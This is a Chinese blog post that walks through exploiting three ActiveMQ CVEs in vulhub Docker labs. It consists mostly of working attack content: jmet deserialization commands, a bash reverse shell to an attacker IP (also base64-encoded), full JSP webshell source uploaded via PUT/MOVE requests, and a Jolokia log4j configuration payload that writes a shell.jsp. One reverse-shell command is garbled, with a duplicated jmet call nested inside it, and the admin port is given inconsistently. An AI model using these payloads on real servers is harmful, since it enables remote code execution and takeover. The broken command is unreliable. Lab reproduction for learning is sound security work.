vulhub漏洞复现学习之activemq

ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信,WEB管理页面默认端口为8161。

CVE-2015-5254 

受影响版本:5.13.0之前5.x版本

漏洞说明:

复现过程:采用vulhub搭建环境

cd activemq/CVE-2015-5254

docker-compose up -d

使用jmet进行漏洞利用,下载地址

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

与下载的jmet在同目录下执行

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "touch /tmp/onetest" -Yp ROME 你的activemqIP 61616

然后访问actveMQ的WEB管理页面(默认端口是8168,默认登录账号密码是admin、admin)可以在activeMQ上看到创建的消息队列,点击该消息队列触发反序列化漏洞。

进入docker服务中可以看到在tmp下创建了一个名为onetest文件

命令:docker exec -it 服务名称(docker ps可以看到)  /bin/bash

接下来可以使用命令反弹shell到kali上

现在kali上 使用nc -lvvnp 9999进行监听

反弹shell命令:bash -i >& /dev/tcp/192.168.101.6/9999 0>&1

需要经过base64编码后

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS42Lzk5OTkgMD4mMQ==

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMS42Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.101.5 61616

同上步骤,在WEB上点击消息队列,可以在kali上看到弹回的shell

完成,删除环境。

docker stop  name

docker rm       name

docker rmi ID

CVE-2016-3088

受影响版本:5.x~5.14.0

漏洞说明:ActiveMQ的web控制台分三个应用,admin、api和fileserver,admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录,fileserver无需登录。漏洞出现在fileserver应用中,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以采用PUT请求写入文件,再通过MOVE请求移动文件到任意位置,使其可以进行解析。

开始复现。一样,直接采用vulhub启动环境。

cd activemq/CVE-2016-3088/

docker-compos up -d

访问yourip:8168/admin/test/systemProperties.jsp可以访问activeMQ的绝对路径

打开burp刷新页面,抓个包留着后续使用

网上随便找个JSP马子

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>一句话木马</title>
</head>
<body>
<%
  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
  InputStream inputStream = process.getInputStream();
  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));
  String line;
  while ((line = bufferedReader.readLine())!=null){
     response.getWriter().print(line);
    }
%>
</body>
</html>

修改请求数据包,使用PUT请求写文件

PUT /fileserver/123.jsp

访问一下 /fileserver/123.jsp看看,跟我们前面说的一样,写入文件了但是没有解析

再使用MOVE请求移动一下文件到api或者admin下让它解析

Destination:file:///opt/activemq/webapps/admin/123.jsp

测试一下我们的马子http://xxxx:port/admin/123.jsp?cmd=ls可以看到成功访问

上哥斯拉geshell,生成马子

重复上面的步骤,先PUT 再MOVE 然后哥斯拉连接(注意开头所说的admin需要登录访问,所以需要给哥斯拉配置请求头)

测试一下连接

恭喜,又shell了一台服务器

CVE-2022-41678

受影响版本:

<5.16.6版本

5.17.0 ~5.17.4(不包括5.17.4版本)

漏洞说明:该漏洞存在于ActiveMQ配置中,经过身份验证的攻击者可利用该漏洞,通过Jolokia服务发送特制的HTTP请求写入恶意文件,进而实现远程代码执行。

vulhub启动环境

cd /activemq/CVE-2022-41678

docker-compose up -d

1.访问获取Mbean值,老方法,刷新页面抓个包,修改下访问/api/jolokia/list,提示需要添加Oririn,给它加上之后就可以获取了

2.构造payload POST请求提交,XML值在vulhub中的poc.py中已经给出,poc中evil_template内容就是XML ,需要采用\ 和\n进行转义,可以找GPT代劳一下

{"type": "exec", "mbean": "org.apache.logging.log4j2:type=6ddf90b0", "operation": "setConfigText", "arguments": ["xml", "utf-8"]}

XML:

<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<Configuration>\n
    <Appenders>\n
        <Console name=\"Console\" target=\"SYSTEM_OUT\">\n
            <PatternLayout pattern=\"%5p | %m%n\"/>\n
        </Console>\n
        <RollingRandomAccessFile name=\"RollingFile\" fileName=\"${sys:activemq.data}/../webapps/admin/shell.jsp\" \n
            filePattern=\"${sys:activemq.data}/../webapps/admin/shell.jsp.%i\">\n
            <PatternLayout pattern=\"%d | %-5p | %m | %c | %t%n%throwable{full}\"/>\n
            <Policies>\n
                <SizeBasedTriggeringPolicy size=\"1MB\"/>\n
            </Policies>\n
        </RollingRandomAccessFile>\n
        <RollingRandomAccessFile name=\"AuditLog\" fileName=\"${sys:activemq.data}/audit.log\" filePattern=\"${sys:activemq.data}/audit.log.%i\">\n
            <PatternLayout pattern=\"%-5p | %m | %t%n\"/>\n
            <Policies>\n
                <SizeBasedTriggeringPolicy size=\"1MB\"/>\n
            </Policies>\n
        </RollingRandomAccessFile>\n
    </Appenders>\n
    <Loggers>\n
        <Root level=\"INFO\">\n
            <AppenderRef ref=\"Console\"/>\n
            <AppenderRef ref=\"RollingFile\"/>\n
        </Root>\n
        <Logger name=\"org.apache.activemq.spring\" level=\"WARN\"/>\n
        <Logger name=\"org.apache.activemq.web.handler\" level=\"WARN\"/>\n
        <Logger name=\"org.springframework\" level=\"WARN\"/>\n
        <Logger name=\"org.apache.xbean\" level=\"WARN\"/>\n
        <Logger name=\"org.eclipse.jetty\" level=\"DEBUG\"/>\n
        <Logger name=\"org.apache.activemq.audit\" level=\"INFO\" additivity=\"false\">\n
            <AppenderRef ref=\"AuditLog\"/>\n
        </Logger>\n
        <!-- Uncomment and modify as needed for ActiveMQ logger\n
        <Logger name=\"org.apache.activemq\" level=\"DEBUG\"/>\n
        -->\n
    </Loggers>\n
</Configuration>\n
3.返回200漏洞存在

4.进行注入

最后一步与前面第二步骤一样,XML内容需要替换成POC中的original_template

一样,找GPT转义一下"和换行

<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<Configuration>
    <Appenders>
        <Console name=\"Console\" target=\"SYSTEM_OUT\">
            <PatternLayout pattern=\"%5p | %m%n\"/>
        </Console>
        <RollingRandomAccessFile name=\"RollingFile\" fileName=\"${sys:activemq.data}/activemq.log\" 
            filePattern=\"${sys:activemq.data}/activemq.log.%i\">
            <PatternLayout pattern=\"%d | %-5p | %m | %c | %t%n%throwable{full}\"/>
            <Policies>
                <SizeBasedTriggeringPolicy size=\"1MB\"/>
            </Policies>
        </RollingRandomAccessFile>
        <RollingRandomAccessFile name=\"AuditLog\" fileName=\"${sys:activemq.data}/audit.log\" filePattern=\"${sys:activemq.data}/audit.log.%i\">
            <PatternLayout pattern=\"%-5p | %m | %t%n\"/>
            <Policies>
                <SizeBasedTriggeringPolicy size=\"1MB\"/>
            </Policies>
        </RollingRandomAccessFile>
    </Appenders>
    <Loggers>
        <Root level=\"INFO\">
            <AppenderRef ref=\"Console\"/>
            <AppenderRef ref=\"RollingFile\"/>
        </Root>
        <Logger name=\"org.apache.activemq.spring\" level=\"WARN\"/>
        <Logger name=\"org.apache.activemq.web.handler\" level=\"WARN\"/>
        <Logger name=\"org.springframework\" level=\"WARN\"/>
        <Logger name=\"org.apache.xbean\" level=\"WARN\"/>
        <Logger name=\"org.eclipse.jetty\" level=\"WARN\"/>
        <Logger name=\"org.apache.activemq.audit\" level=\"INFO\" additivity=\"false\">
            <AppenderRef ref=\"AuditLog\"/>
        </Logger>
        <!-- Uncomment and modify as needed for ActiveMQ logger\n
        <Logger name=\"org.apache.activemq\" level=\"DEBUG\"/>\n
        -->
    </Loggers>
</Configuration>

返回200,写入成功,访问/admin/shell.jsp?cmd=ls 可以看到命令执行结果

哥斯拉连接。在第三步的写入的User-Agent替换成哥斯拉生成shell就行了(注意空格换行的问题)

POC

python3 poc.py -u admin -p admin --exploit jfr http://192.168.101.5:8161

后续想把webshell的类型改一下的,还有一个CVE-2023-46604,后续学习再继续更新。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值